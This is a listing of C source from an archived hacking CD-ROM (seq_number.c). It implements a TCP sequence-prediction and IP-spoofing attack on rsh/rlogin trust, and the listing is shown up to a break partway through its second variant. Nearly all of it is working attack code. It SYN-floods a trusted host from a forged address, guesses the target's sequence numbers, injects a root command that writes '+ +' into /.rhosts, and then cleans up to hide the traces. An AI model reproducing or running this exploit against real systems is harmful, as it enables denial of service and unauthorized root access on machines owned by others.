home *** CD-ROM | disk | FTP | other *** search
/ Power Hacker 2003 / Power_Hacker_2003.iso / Exploit and vulnerability / hoobie / seq_number.c < prev    next >
Encoding:
C/C++ Source or Header  |  2001-11-06  |  24.6 KB  |  851 lines

  1. /* This source is subject to the GNU PUBLIC LICENSE. It can be used freely
  2.  * for any non-commercial purpose, and this message and the contact 
  3.  * information must remain intact. For commercial purposes, you MUST contact
  4.  * us to obtain a license for it's use. A copy of the GNU PUBLIC LICENSE is
  5.  * available from: ftp://aeneas.mit.edu/pub/gnu/
  6.  *
  7.  *     This program is distributed in the hope that it will be useful,
  8.  *  but WITHOUT ANY WARRANTY; without even the implied warranty of
  9.  *  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
  10.  *  GNU General Public License for more details.
  11.  *
  12.  * Mike Neuman
  13.  * En Garde Systems 
  14.  * 525 Clara Avenue, Suite 202
  15.  * St. Louis, MO  63112
  16.  * mcn@EnGarde.com
  17.  */
  18.  
  19. #include <stdio.h>
  20. #include <setjmp.h>
  21. #include <signal.h>
  22. #include <sys/types.h>
  23. #include <sys/socket.h>
  24. #include <netinet/in_systm.h>
  25. #include <netinet/in.h>
  26. #include <net/if.h>
  27. #include <netinet/if_ether.h>
  28. #include <netinet/ip.h>
  29. #include <netinet/tcp.h>
  30. #include <errno.h>
  31. #include <netdb.h>
  32.  
  33. #include "ipbpf.h" /* Include ipbpf header */
  34.  
  35. #define BADHOST "16.17.18.19"    
  36.   /* The host to spoof flooding the trusted
  37.    * host's destination port from. This host shouldn't exist, but should have
  38.    * correct routing entries. The important part is so that returned packets
  39.    * go to nowhere.
  40.    */
  41.  
  42. #define NUMSEQUENCE 80 
  43.   /* The number of connections to spoof from BADHOST. I made this big. 
  44.   * I've found 4.4BSD will be flooded with only 8 unacked connections. Your
  45.   * mileage may vary
  46.   */
  47.  
  48. #define NUMTESTS 10
  49.   /* How many samples of the sequence numbers do you want to take?
  50.    * I randomly picked 10 and only take the last result. If I wanted to be
  51.    * elegant, I'd do some sort of statistical average. Sequence numbers
  52.    * are generally updated by a fixed number, this attempts to compute
  53.    * this number taking into account average network lag. Fixed sequence
  54.    * number updating currently works on: Solaris 2.x, NeXTstep, 4.4BSD, and
  55.    * probably others, although I haven't tested them.
  56.    */
  57.  
  58. #define ROUTER "router.EnGarde.com"
  59.   /* The name of your router to the outside world. Spoofed packets need to
  60.    * be sent to it's ether/fddi address in order to get to the outside world.
  61.    */
  62.  
  63. main(argc, argv)
  64. int argc;
  65. char *argv[];
  66.  
  67. {
  68. struct hostent *he;
  69. u_long trust_addr, targ_addr;
  70. u_long seq_num[NUMSEQUENCE], port_num[NUMSEQUENCE];
  71. u_long next_seq, offset;
  72.  
  73.     if (argc!=3) {
  74.         fprintf(stderr, "Usage: %s trusted-host target\n",argv[0]);
  75.         exit(1);
  76.     }
  77.     if ((he=gethostbyname(argv[1]))==NULL) {
  78.         trust_addr=inet_addr(argv[1]);
  79.         if (trust_addr==(u_long)-1) {
  80.             fprintf(stderr, "Unknown host %s\n", argv[1]);
  81.             exit(1);
  82.         }
  83.     } else
  84.         bcopy(he->h_addr, &trust_addr, 4);
  85.  
  86.     if ((he=gethostbyname(argv[2]))==NULL) {
  87.         targ_addr=inet_addr(argv[2]);
  88.         if (targ_addr==(u_long)-1) {
  89.             fprintf(stderr, "Unknown host %s\n", argv[2]);
  90.             exit(1);
  91.         }
  92.     } else
  93.         bcopy(he->h_addr, &targ_addr, 4);
  94.  
  95.     printf("Initializing Packet Filter\n");
  96.     use_best(); /* Use the best packet filter available on this system */
  97.     if (init_filter("tcp", NULL)) { 
  98.         /* Initialize the packet filter and read only TCP packets */
  99.         fprintf(stderr, "Can't init Packet Filter\n");
  100.         exit(1);
  101.     }
  102.  
  103.     /* First, send NUMSEQUENCE connection requests from BADHOST to the 
  104.      * trusted host on a trusted port (currently 513). Trusted host will 
  105.      * attempt to SYN-ACK these. If BADHOST doesn't exist, there will never
  106.      * be a response ACK. Consequently, trusted host's connection queue will
  107.      * fill and it will no longer respond to any packets to port 513.
  108.      */
  109.  
  110.     printf("[Hosing Trusted Host...]\n");
  111.     if (hose_trusted(argv[1], trust_addr, seq_num, port_num)) {
  112.         fprintf(stderr, "Couldn't hose %s\n", argv[1]);
  113.         exit(1);
  114.     }
  115.     
  116.     /* Next, do a sampling of the difference in sequence numbers. These packets
  117.      * are NOT spoofed as receiving the reply is required. Consequently, this
  118.      * host can appear in any packet traces.
  119.      */
  120.     printf("[Determining sequence numbers...]\n");
  121.     if (determine_sequence(argv[2], targ_addr, &next_seq, &offset)) {
  122.         fprintf(stderr, "Couldn't determine sequence numbers for %s\n", argv[2]);
  123.         exit(1);
  124.     }
  125.  
  126.     printf("=>Next sequence number is: %u, offset is: %u\n", next_seq, offset);
  127.  
  128.     /* Next, do the actual spoofed connection, now that we know what the next
  129.      * sequence number will be.
  130.      */
  131.     printf("[Spoofing Connection...]\n");
  132.     if (spoof_connection(trust_addr, argv[2], targ_addr, next_seq)) {
  133.         fprintf(stderr, "Couldn't spoof connection to %s\n", argv[1]);
  134.         exit(1);
  135.     }
  136.  
  137.     /* Finally, reset all of the half started connections on trusted-host.
  138.      * This will put trusted-host back into it's normal state (and hide
  139.      * the traces that it was used for evil.
  140.      */
  141.     printf("[Cleaning Up Trusted Mess...]\n");
  142.     if (reset_trusted(argv[1], trust_addr, seq_num, port_num)) {
  143.         fprintf(stderr, "Couldn't reset %s. Sucks to be it.\n", argv[1]);
  144.         exit(1);
  145.     }
  146.  
  147.     /* fin */
  148.     exit(0);
  149. }
  150.  
  151. hose_trusted(trust_host, trust_addr, seq_num, port_num)
  152. char *trust_host;
  153. u_long trust_addr;
  154. u_long seq_num[NUMSEQUENCE];
  155. u_short port_num[NUMSEQUENCE];
  156. {
  157.     int i;
  158.     u_long start_seq=49358353+getpid(); /* Make this anything you want */
  159.     u_long start_port=600; /* Make this anything you want */
  160.     struct ether_header eh;
  161.     u_long bad_addr;
  162.  
  163.     /* First attempt to find the hardware address of the trusted host */
  164.     if (ether_hostton(trust_host, &eh.ether_dhost)) {
  165.         /* If that fails, find the hardware address of the router */
  166.         if (ether_hostton(ROUTER, &eh.ether_dhost)) {
  167.             fprintf(stderr, "Can't determine ether addr of trusted host or router.\n");
  168.             return(1);
  169.         }
  170.     }
  171.     eh.ether_type=ETHERTYPE_IP;
  172.  
  173.     if ((bad_addr=inet_addr(BADHOST))==(u_long)-1) {
  174.         fprintf(stderr, "Can't convert BADHOST address.\n");
  175.         return(1);
  176.     }
  177.  
  178.     /* Send a whole bunch of spoofed SYNs. Arguments to sendtcppacket_simple
  179.      * are:
  180.      * sendtcppacket_simple(
  181.      *     struct ether_addr source_hardware_address,
  182.      *     struct ether_addr destination_hardware_address,
  183.      *     u_long            source_ip_address,
  184.      *     u_long            destination_ip_address,
  185.      *     u_short           source_port,
  186.      *     u_short           destination_port,
  187.      *     u_long            sequence_number,
  188.      *     u_long            acknowldegement_number,
  189.      *     int               TCP flags (SYN, RST, ACK, PUSH, FIN),
  190.      *     char *            data,
  191.      *     int               datalen)
  192.      */
  193.     for (i=0;i<NUMSEQUENCE;i++) {
  194.         port_num[i]=start_port++; /* record the ports and sequence numbers */
  195.         seq_num[i]=start_seq++;   /* for later reseting */
  196.  
  197.         sendtcppacket_simple(&(eh.ether_shost), &(eh.ether_dhost),
  198.             bad_addr, trust_addr,
  199.             port_num[i], 513, /* 513 is rlogin/rsh port */
  200.             seq_num, 0,
  201.             TH_SYN, NULL, 0);
  202.     }
  203.     return(0);
  204. }
  205.  
  206. jmp_buf env;
  207.  
  208. void timedout()
  209. {
  210.     longjmp(env, 1);
  211. }
  212.  
  213. determine_sequence(targ_host, targ_addr, next_seq, offset)
  214. char *targ_host;
  215. u_long targ_addr, *next_seq, *offset;
  216. {
  217.     struct hostent *he;
  218.     struct ether_header eh, eh2;
  219.     struct ip iph;
  220.     struct tcphdr tcph;
  221.     int i;
  222.     u_long start_seq=4138353+getpid(); /* Make this anything you want */
  223.     u_long start_port=600;         /* Make this anything you want */
  224.     u_long my_addr;
  225.     char buf[80];
  226.     u_long prev_seq=0, diff=0;
  227.  
  228.     *offset=0;
  229.     /* first attempt to get the destination's hardware address */
  230.     if (ether_hostton(targ_host, &eh.ether_dhost)) {
  231.         /* If that fails, get the router's hardware address */
  232.         if (ether_hostton(ROUTER, &eh.ether_dhost)) {
  233.             fprintf(stderr, "Can't determine ether addr of trusted host or router.\n");
  234.             return(1);
  235.         }
  236.     }
  237.     eh.ether_type=ETHERTYPE_IP;
  238.  
  239.     gethostname(buf, 79);
  240.     if ((he=gethostbyname(buf))==NULL) {
  241.         fprintf(stderr, "Can't get my hostname!?\n");
  242.         return(1);
  243.     }
  244.     bcopy(he->h_addr, &my_addr, 4);
  245.     for (i=0;i<NUMTESTS;i++) {
  246.         /* Do a setjmp here for timeouts */
  247.         if (setjmp(env)) 
  248.             fprintf(stderr, "Response Timed out... Resending...\n");
  249.         signal(SIGALRM, timedout);
  250.         alarm(0);
  251.         alarm(10); /* Wait 10 seconds for reply */
  252.         sendtcppacket_simple(&(eh.ether_shost), &(eh.ether_dhost),
  253.             my_addr, targ_addr,
  254.             start_port, 514, /* 514 is rsh port */
  255.             start_seq, 0,
  256.             TH_SYN, NULL, 0);
  257.         /* Send connection request packet */
  258.  
  259.         for (;;) {
  260.             /* Wait until the reply is received. Arguments for readpacket
  261.              * are:
  262.              * readpacket(
  263.              *  struct fddi_header  fddi_header,
  264.              *  struct ether_header ether_header,
  265.              *  struct ip           ip_header,
  266.              *  struct udphdr       udp_header,
  267.              *  struct tcphdr       tcp_header,
  268.              *  char *              data,
  269.              *  int                 datalen)
  270.              *
  271.              * return type is the type of packet read
  272.              */
  273.  
  274.             while (readpacket(NULL, &eh2, &iph, NULL, &tcph, NULL, NULL)!=
  275.                 PTYPE_IP_TCP) ;
  276.             if (ntohs(tcph.th_dport)==start_port &&
  277.                 ntohs(tcph.th_sport)==514) {
  278.                 /* If the ports match, it's probably a reply--this isn't
  279.                  * definite, but it's a pretty good guess .
  280.                  * The following attempts to generate a reliable sequence.
  281.                  * Actually, it's pretty dumb. It tries 10 times, then takes
  282.                  * the last result. Generally, I've found this to work well
  283.                  * enough to warrant not writing anything smarter.
  284.                  */
  285.                     if (prev_seq) {
  286.                         diff=tcph.th_seq-prev_seq;
  287.                         printf("(prev=%u, new=%u, diff=%u\n", prev_seq,
  288.                             tcph.th_seq, diff);
  289.                     } else
  290.                         diff=0;
  291.                     if (*offset==0) 
  292.                         *offset=diff;
  293.                     else {
  294.                         if (*offset!=diff)
  295.                             printf("Difference in Offset: old=%u, new=%u\n",
  296.                                 *offset, diff);
  297.                         *offset=diff;
  298.                     }
  299.                     prev_seq=tcph.th_seq;
  300.                     sendtcppacket_simple(
  301.                             &(eh.ether_shost), &(eh.ether_dhost),
  302.                             my_addr, targ_addr,
  303.                             start_port++, 514, 
  304.                             start_seq++, 0,
  305.                             TH_RST, NULL, 0);
  306.                     /* Send a reset to close the connection. Note, this
  307.                      * automatically will be sent by localhost unless
  308.                      * a service is listening on whatever port you've
  309.                      * chosen to start with at the top of this routine.
  310.                      * so I reset it anyway
  311.                      */
  312.                     break; /* out of infinite for */
  313.                 }
  314.         } /* of infinite for */
  315.         alarm(0);
  316.     } /* for i=0 i<numtests... */
  317.     *next_seq=prev_seq+*offset;
  318.     return(0);
  319. }
  320.  
  321. spoof_connection(trust_addr, targ_host, targ_addr, next_seq)
  322. u_long trust_addr, targ_addr, next_seq;
  323. {
  324.     struct ether_header eh;
  325.     char buf[80];
  326.     struct hostent *he;
  327.     u_long my_addr;
  328.     u_short port=513;
  329.     char *string="0\0root\0root\0echo + + >>/.rhosts\0"; 
  330.     int stringlen=32; 
  331.     u_long seq=385773357;
  332.     int i;
  333.  
  334.     /* As before, get the target's hardware address */
  335.     if (ether_hostton(targ_host, &eh.ether_dhost)) {
  336.         /* If that fails, get the router's hardware address */
  337.         if (ether_hostton(ROUTER, &eh.ether_dhost)) {
  338.             fprintf(stderr, "Can't determine etheraddr of target host or router.\n");
  339.             return(1);
  340.         }
  341.     }
  342.     eh.ether_type=ETHERTYPE_IP;
  343.  
  344.     /* Send a syn with our own sequence number */
  345.     sendtcppacket_simple(&(eh.ether_shost), &(eh.ether_dhost),
  346.         trust_addr, targ_addr,
  347.         port, 514,
  348.         seq++, 0,
  349.         TH_SYN, NULL, 0);
  350.     usleep(5000); /* wait for the other side to SYN,ACK */
  351.  
  352.     /* Send the ACK for the sequence number we guessed. I've found we guess
  353.      * right about 90% of the time
  354.      */
  355.     sendtcppacket_simple(&(eh.ether_shost), &(eh.ether_dhost),
  356.         trust_addr, targ_addr,
  357.         port, 514,
  358.         seq, ++next_seq,
  359.         TH_ACK, NULL, 0);
  360.  
  361.     /* Now, send our rsh request with the proper sequence and ACK nubmers */
  362.     sendtcppacket_simple(&(eh.ether_shost), &(eh.ether_dhost),
  363.         trust_addr, targ_addr,
  364.         port, 514,
  365.         seq, next_seq,
  366.         TH_ACK, string, stringlen);
  367.     seq+=stringlen;
  368.  
  369.     sleep(1); /* Wait for it to be received, ACKd, and processed */
  370.     /* Send a fin with the our new sequence number and their sequence number */
  371.     sendtcppacket_simple(&(eh.ether_shost), &(eh.ether_dhost),
  372.         trust_addr, targ_addr,
  373.         port, 514,
  374.         seq, next_seq,
  375.         TH_FIN, NULL, 0);
  376.  
  377.     for (i=1;i<4;i++) { /* Send a bunch of ACKs */
  378.         /* If we screwed up the guessing the correct sequence number the remote
  379.          * host is using, guess a whole bunch more just to be sure. We could
  380.          * probably reset the connection, but it's better to have the
  381.          * net software hang waiting for a proper FIN/ACK than have the
  382.          * application that we've spoofed into running exit because we
  383.          * reset the connection.
  384.          */
  385.         sleep(2);
  386.         sendtcppacket_simple(&(eh.ether_shost), &(eh.ether_dhost),
  387.             trust_addr, targ_addr,
  388.             port, 514,
  389.             seq+1, next_seq+i,
  390.             TH_ACK, NULL, 0);
  391.     }
  392.     usleep(50000); /* Finally, send a RST */
  393.     /* Now, if we're really screwed, and ~8 seconds later  we haven't guessed
  394.      * the right sequence number, just reset the connection. Hopefully by now
  395.      * the application has done it's job, so resetting shouldn't cause any
  396.      * problems.
  397.      */
  398.     sendtcppacket_simple(&(eh.ether_shost), &(eh.ether_dhost),
  399.         trust_addr, targ_addr,
  400.         port, 514,
  401.         seq+1, next_seq+4,
  402.         TH_RST, NULL, 0);
  403.  
  404.     return(0);
  405. }
  406.  
  407. reset_trusted(trust_host, trust_addr, seq_num, port_num)
  408. u_long trust_addr;
  409. u_long seq_num[NUMSEQUENCE], port_num[NUMSEQUENCE];
  410. {
  411.     struct ether_header eh;
  412.     u_long bad_addr;
  413.     int i;
  414.  
  415.     if (ether_hostton(trust_host, &eh.ether_dhost)) {
  416.         if (ether_hostton(ROUTER, &eh.ether_dhost)) {
  417.             fprintf(stderr, "Can't determine ether addr of trusted host or router.\n");
  418.             return(1);
  419.         }
  420.     }
  421.     eh.ether_type=ETHERTYPE_IP;
  422.  
  423.     if ((bad_addr=inet_addr(BADHOST))==(u_long)-1) {
  424.         fprintf(stderr, "Can't convert BADHOST address.\n");
  425.         return(1);
  426.     }
  427.  
  428.     /* Reset all of the connections we started before */
  429.     for (i=0;i<NUMSEQUENCE;i++) {
  430.         sendtcppacket_simple(&(eh.ether_shost), &(eh.ether_dhost),
  431.             bad_addr, trust_addr,
  432.             port_num[i], 513,
  433.             seq_num[i], 0,
  434.             TH_RST, NULL, 0);
  435.     }
  436.     return(0);
  437. }
  438.  
  439.  
  440.  
  441.  
  442.  
  443.  
  444. -------------------------------------------------------------------------------------
  445.  
  446. /* Under Solaris try:
  447.     gcc x.c -lsocket -lnsl -L/usr/ucblib -lucb
  448. */
  449.  
  450. #include <stdio.h>
  451. #include <sys/types.h>
  452. #include <sys/socket.h>
  453. #include <netinet/in_systm.h>
  454. #include <netinet/in.h>
  455. #include <net/if.h>
  456. #include <netinet/ip.h>
  457. #ifdef sun
  458. #include <netinet/tcp.h>
  459. #else /* Linux */
  460. #include <netinet/ip_tcp.h>
  461. #endif
  462. #include <errno.h>
  463. #include <netdb.h>
  464.  
  465. #ifdef sun
  466. struct iphdr {
  467.         u_char  version:4,                 /* version */
  468.                 ihl:4;                /* header length */
  469.         u_char  tos;                 /* type of service */
  470.         short   tot_len;                 /* total length */
  471.         u_short id;                  /* identification */
  472.         short   frag_off;                 /* fragment offset field */
  473.         u_char  ttl;                 /* time to live */
  474.         u_char  protocol;                   /* protocol */
  475.         u_short check;                 /* checksum */
  476.         unsigned long saddr, daddr; /* source and dest address */
  477. };
  478. #endif
  479.  
  480. /*
  481.  * Pinched from ping.c
  482.  * -------------------
  483.  * in_cksum --
  484.  *  Checksum routine for Internet Protocol family headers (C Version)
  485.  */
  486. unsigned short in_cksum(addr, len)
  487.     u_short *addr;
  488.     int len;
  489. {
  490.     register int nleft = len;
  491.     register u_short *w = addr;
  492.     register int sum = 0;
  493.     u_short answer = 0;
  494.  
  495.     /*
  496.      * Our algorithm is simple, using a 32 bit accumulator (sum), we add
  497.      * sequential 16 bit words to it, and at the end, fold back all the
  498.      * carry bits from the top 16 bits into the lower 16 bits.
  499.      */
  500.     while (nleft > 1)  {
  501.         sum += *w++;
  502.         nleft -= 2;
  503.     }
  504.  
  505.     /* mop up an odd byte, if necessary */
  506.     if (nleft == 1) {
  507.         *(u_char *)(&answer) = *(u_char *)w ;
  508.         sum += answer;
  509.     }
  510.  
  511.     /* add back carry outs from top 16 bits to low 16 bits */
  512.     sum = (sum >> 16) + (sum & 0xffff); /* add hi 16 to low 16 */
  513.     sum += (sum >> 16);         /* add carry */
  514.     answer = ~sum;              /* truncate to 16 bits */
  515.     return(answer);
  516. }
  517.  
  518. inline void printtcppacket(int r, char *buf, struct sockaddr_in *addr)
  519. {
  520.     struct iphdr *ip;
  521.     struct tcphdr *tcp;
  522.     int len=-1;
  523.  
  524.         printf("-------------------------------------------------------------------------------\n");
  525.         /* IP */
  526.         printf("Packet Size = %d\n",r);
  527.         addr->sin_addr.s_addr = ntohl(addr->sin_addr.s_addr);
  528.         ip = (struct iphdr *) buf;
  529.         len = ip->ihl << 2;
  530.     printf("IP Header\n");
  531.     printf("---------\n");
  532.         printf("length %d, version %d\n",len,ip->version);
  533.     printf("tos %d, tot_len %d\n",ip->tos, ntohs(ip->tot_len));
  534.     printf("id %d, frag_off %d, ttl %d, protocol %d\n",ntohs(ip->id),ntohs(ip->frag_off),
  535.         ip->ttl, ip->protocol);
  536.     printf("check %d\n",ntohs(ip->check));
  537.     printf("IPFrom %s, ",inet_ntoa(ip->saddr));
  538.     printf("IPTo %s\n",inet_ntoa(ip->daddr));
  539.  
  540.         /* TCP */
  541.         tcp = (struct tcphdr *) (buf + len);
  542.  
  543.     printf("TCP Header\n");
  544.     printf("----------\n");
  545.         printf("SPort = %hu, DPort = %hu, SeqNum = %lu, AckNum = %lu\n",
  546.                 ntohs(tcp->th_sport), ntohs(tcp->th_dport),
  547.                 ntohl(tcp->th_seq), ntohl(tcp->th_ack));
  548.     printf("x2 %d, off %d\n",tcp->th_x2,tcp->th_off);
  549.  
  550.         printf("Flags");
  551.         if (!tcp->th_flags)
  552.                 printf(" none");
  553.         else {
  554.                 if (tcp->th_flags & TH_FIN)
  555.                         printf(" FIN");
  556.                 if (tcp->th_flags & TH_SYN)
  557.                         printf(" SYN");
  558.                 if (tcp->th_flags & TH_RST)
  559.                         printf(" RST");
  560.                 if (tcp->th_flags & TH_PUSH)
  561.                         printf(" PUSH");
  562.                 if (tcp->th_flags & TH_ACK)
  563.                         printf(" ACK");
  564.                 if (tcp->th_flags & TH_URG)
  565.                         printf(" URG");
  566.         }
  567.         printf(".\n");
  568.     printf("win %d, sum %d, urp %d\n",ntohs(tcp->th_win),ntohs(tcp->th_sum),ntohs(tcp->th_urp));
  569. }
  570.  
  571. inline void gettcppacket(int s, char *buf, int size)
  572. {
  573.     struct sockaddr_in addr;
  574.     struct iphdr *ip;
  575.     struct tcphdr *tcp;
  576.     int len, r;
  577.  
  578.     len = sizeof(addr);
  579.     if ((r = recvfrom(s,buf,size,0,(struct sockaddr *) &addr,&len)) == -1) {
  580.         perror("recvfrom");
  581.         fprintf(stderr,"error: recvfrom returned %d\n",r);
  582.         exit(1);
  583.     }
  584.  
  585.     /*
  586.     printtcppacket(r,buf,&addr);
  587.     */
  588.  
  589. }
  590.  
  591. inline void sendtcppacket(int s, unsigned long src, unsigned long dest, 
  592.     struct sockaddr_in *addr,
  593.     unsigned char flags, unsigned short sport, unsigned short dport, 
  594.     unsigned long seqnum, unsigned long acknum, char *data, int datalen)
  595. {
  596.  
  597.     struct iphdr ip;
  598.     struct tcphdr tcp;
  599.     static char packet[4096];
  600.     char tcpbuf[4096];
  601.     char *ptr;
  602.     unsigned short size=0;
  603.  
  604.     ip.ihl = 5;
  605.     ip.version = 4;
  606.     ip.tos = 0;
  607.     ip.tot_len = htons(40 + datalen);
  608.     ip.id = htons(666+(rand()%100));
  609.     ip.frag_off = 0;
  610.     ip.ttl = 255;
  611.     ip.protocol = IPPROTO_TCP;
  612.     ip.check = 0;
  613.     ip.saddr = src;
  614.     ip.daddr = dest;
  615.  
  616.     ip.check = in_cksum((char *)&ip,sizeof(ip));
  617.  
  618.     tcp.th_sport = htons(sport);
  619.     tcp.th_dport = htons(dport);
  620.     tcp.th_seq = htonl(seqnum);
  621.     tcp.th_ack = htonl(acknum);
  622.     tcp.th_x2 = 0;
  623.     tcp.th_off = 5;
  624.     tcp.th_flags = flags;
  625.     tcp.th_win = htons(10052);
  626.     tcp.th_sum = 0;
  627.     tcp.th_urp = 0;
  628.  
  629.     /* Add in a pseudo IP header */
  630.     memset(tcpbuf,0,4096);
  631.     ptr = tcpbuf;
  632.     memcpy(ptr,&(ip.saddr),8); /* Both saddr and daddr */
  633.     ptr += 9; /* Skip the 0 field */
  634.     memcpy(ptr,&(ip.protocol),1);
  635.     ptr += 1;
  636.     size = htons(datalen + sizeof(tcp));
  637.     memcpy(ptr,&(size),2);
  638.     ptr += 2;
  639.     memcpy(ptr,&tcp,sizeof(tcp)+datalen);
  640.  
  641.     tcp.th_sum = in_cksum((char *)tcpbuf,sizeof(tcp)+12+datalen);
  642.  
  643.     memcpy(packet,(char *)&ip,sizeof(ip));
  644.     memcpy(packet+sizeof(ip),(char *)&tcp,sizeof(tcp));
  645.     memcpy(packet+sizeof(ip)+sizeof(tcp),(char *)data,datalen);
  646.  
  647. /*
  648.     printtcppacket(sizeof(ip)+sizeof(tcp)+datalen,packet,addr);
  649. */
  650.  
  651.     if (sendto(s,packet,sizeof(ip)+sizeof(tcp)+datalen,0,
  652.         (struct sockaddr *)addr, sizeof(struct sockaddr_in)) == -1) {
  653.         perror("sendto");
  654.         exit(1);
  655.     }
  656.  
  657. }
  658.  
  659. void determine_sequence(int s, int r, unsigned long src, unsigned long dest,
  660.     struct sockaddr_in *addr,
  661.     unsigned long *next_seq, unsigned long *offset)
  662. {
  663.     struct iphdr *ip;
  664.     struct tcphdr *tcp;
  665.     int i, len;
  666.     unsigned long start_seq=4321965+getpid();
  667.     unsigned long start_port=600;
  668.     char buf[4096];
  669.     unsigned long prev_seq=0, diff=0;
  670.  
  671.     *offset=0;
  672.  
  673.     for (i=0;i<10;i++) {
  674.         sendtcppacket(s,src,dest,addr,TH_SYN,start_port,514,start_seq,0,NULL,0);
  675.  
  676.         for (;;) {
  677.             gettcppacket(r,buf,sizeof(buf));
  678.             ip = (struct iphdr *) buf;
  679.             if (ip->saddr != dest)
  680.                 continue;
  681.             /*
  682.             printtcppacket(sizeof(buf),buf,addr);
  683.             */
  684.             len = ip->ihl << 2;
  685.             tcp = (struct tcphdr *) (buf+len);
  686.             if (ntohs(tcp->th_dport)==start_port &&
  687.                 ntohs(tcp->th_sport)==514) {
  688.                     if (prev_seq) {
  689.                         diff=tcp->th_seq-prev_seq;
  690.                         printf("(prev=%u, new=%u, diff=%u\n", prev_seq,
  691.                             tcp->th_seq, diff);
  692.                     } else
  693.                         diff=0;
  694.                     if (*offset==0)
  695.                         *offset=diff;
  696.                     else {
  697.                         if (*offset!=diff)
  698.                             printf("Difference in Offset: old=%u, new=%u\n",
  699.                                 *offset, diff);
  700.                         *offset=diff;
  701.                     }
  702.                     prev_seq=tcp->th_seq;
  703.                     sendtcppacket(s,src,dest,addr,TH_RST,start_port++,514,start_seq++,0,NULL,0);
  704.                     break; /* out of for loop */
  705.                 }
  706.         }
  707.     }
  708.     *next_seq=prev_seq+*offset;
  709. }
  710.  
  711. void spoof(int s, unsigned long src, unsigned long dest,
  712.     struct sockaddr_in *addr, unsigned long next_seq)
  713. {
  714.     char buf[4096];
  715.     unsigned short port=513;
  716.     /*char *string="0\0root\0root\0echo + + >>/.rhosts\0";
  717.     int stringlen=32;*/
  718.     char *string="0\0kurt\0kurt\0/usr/bin/touch /tmp/spoof \0";
  719.     int stringlen=39;
  720.     u_long seq=54378435;
  721.     int i;
  722.  
  723.     /* Send a syn with our own sequence number */
  724.     sendtcppacket(s,src,dest,addr,TH_SYN,port,514,seq,0,NULL,0);
  725.     usleep(5000); /* wait for the other side to SYN,ACK */
  726.  
  727.     sendtcppacket(s,src,dest,addr,TH_ACK,port,514,seq,++next_seq,NULL,0);
  728.  
  729.     sendtcppacket(s,src,dest,addr,TH_ACK,port,514,seq,next_seq,string,stringlen);
  730.     seq+=stringlen;
  731.  
  732.     sleep(1);
  733.     sendtcppacket(s,src,dest,addr,TH_FIN,port,514,seq,next_seq,NULL,0);
  734.  
  735.     for (i=1;i<4;i++) {
  736.         sleep(2);
  737.         sendtcppacket(s,src,dest,addr,TH_ACK,port,514,seq+1,next_seq+i,NULL,0);
  738.     }
  739.     usleep(50000);
  740.  
  741.     sendtcppacket(s,src,dest,addr,TH_RST,port,514,seq+1,next_seq+4,NULL,0);
  742. }
  743.  
  744. void reset_trusted(int s, unsigned long src, unsigned long dest,
  745.     struct sockaddr_in *addr,
  746.     unsigned long seq_num[80], unsigned long port_num[80])
  747. {
  748.     int i;
  749.  
  750.     for (i=0;i<80;i++)
  751.         sendtcppacket(s,src,dest,addr,TH_RST,port_num[i],513,seq_num[i],0,NULL,0);
  752. }
  753.  
  754. void hose_trusted(int s, unsigned long src, unsigned long dest,
  755.     struct sockaddr_in *addr,
  756.     unsigned long seq_num[80], unsigned long port_num[80])
  757. {
  758.     int i;
  759.     unsigned long start_seq=78156767+getpid();
  760.     unsigned long start_port=600; 
  761.  
  762.     for (i=0;i<80;i++) {
  763.         port_num[i]=start_port++;
  764.         seq_num[i]=start_seq++;
  765.         sendtcppacket(s,src,dest,addr,TH_SYN,port_num[i],513,seq_num[i],0,NULL,0);
  766.     }
  767. }
  768.  
  769. void main(int argc, char *argv[])
  770. {
  771.  
  772.     int rec, sen, i=1;
  773.     unsigned char buf[4096];
  774.     struct sockaddr_in addr, trustedaddr, bogusaddr;
  775.     char *bogusname = "19.17.14.17";
  776.     unsigned long dest, bogus, trusted, src, nseq, offset;
  777.     struct hostent *host;
  778.     unsigned long seq_num[80], port_num[80];
  779.  
  780.     if (argc != 3) {
  781.         fprintf(stderr,"Usage: %s trusted target\n",argv[0]);
  782.         exit(1);
  783.     }
  784.  
  785.     memset(&trustedaddr,0,sizeof(trustedaddr));
  786.     trustedaddr.sin_family = AF_INET;
  787.     if ((trustedaddr.sin_addr.s_addr = inet_addr(argv[1])) == -1) {
  788.         if ((host = gethostbyname(argv[1])) == NULL) {
  789.             printf("Unknown host %s.\n",argv[1]);
  790.             exit(1);
  791.         }
  792.         trustedaddr.sin_family = host->h_addrtype;
  793.         memcpy((caddr_t) &trustedaddr.sin_addr,host->h_addr,host->h_length);
  794.     }
  795.     printf("Trusted is %s\n",inet_ntoa(trustedaddr.sin_addr.s_addr));
  796.     memcpy(&trusted,(char *)&trustedaddr.sin_addr.s_addr,4);
  797.  
  798.     memset(&addr,0,sizeof(addr));
  799.     addr.sin_family = AF_INET;
  800.     if ((addr.sin_addr.s_addr = inet_addr(argv[2])) == -1) {
  801.         if ((host = gethostbyname(argv[2])) == NULL) {
  802.             printf("Unknown host %s.\n",argv[2]);
  803.             exit(1);
  804.         }
  805.         addr.sin_family = host->h_addrtype;
  806.         memcpy((caddr_t) &addr.sin_addr,host->h_addr,host->h_length);
  807.     }
  808.     printf("Target is %s\n",inet_ntoa(addr.sin_addr.s_addr));
  809.     memcpy(&dest,(char *)&addr.sin_addr.s_addr,4);
  810.  
  811.     if ((rec = socket(AF_INET, SOCK_RAW, IPPROTO_TCP)) < 0) {
  812.         perror("error: recv socket");
  813.         exit(1);
  814.     }
  815.  
  816.     if ((sen = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0) {
  817.         perror("error: send socket");
  818.         exit(1);
  819.     }
  820.      
  821. #ifdef IP_HDRINCL
  822.     fprintf(stderr,"IP_HDRINCL is set\n");
  823.     if (setsockopt(sen,IPPROTO_IP,IP_HDRINCL,(char *)&i,sizeof(i)) < 0) {
  824.         perror("setsockopt IP_HDRINCL");
  825.         exit(1);
  826.     };
  827. #endif
  828.  
  829.     gethostname(buf, 128);
  830.     if ((host=gethostbyname(buf))==NULL) {
  831.         fprintf(stderr, "Can't get my hostname!?\n");
  832.         exit(1);
  833.     }
  834.     memcpy(&src,host->h_addr,4);
  835.  
  836.     bogusaddr.sin_family = AF_INET;
  837.     bogusaddr.sin_addr.s_addr = inet_addr(bogusname);
  838.     memcpy(&bogus,(char *)&bogusaddr.sin_addr.s_addr,4);
  839.  
  840.     hose_trusted(sen,bogus,trusted,&bogusaddr,seq_num,port_num);
  841.  
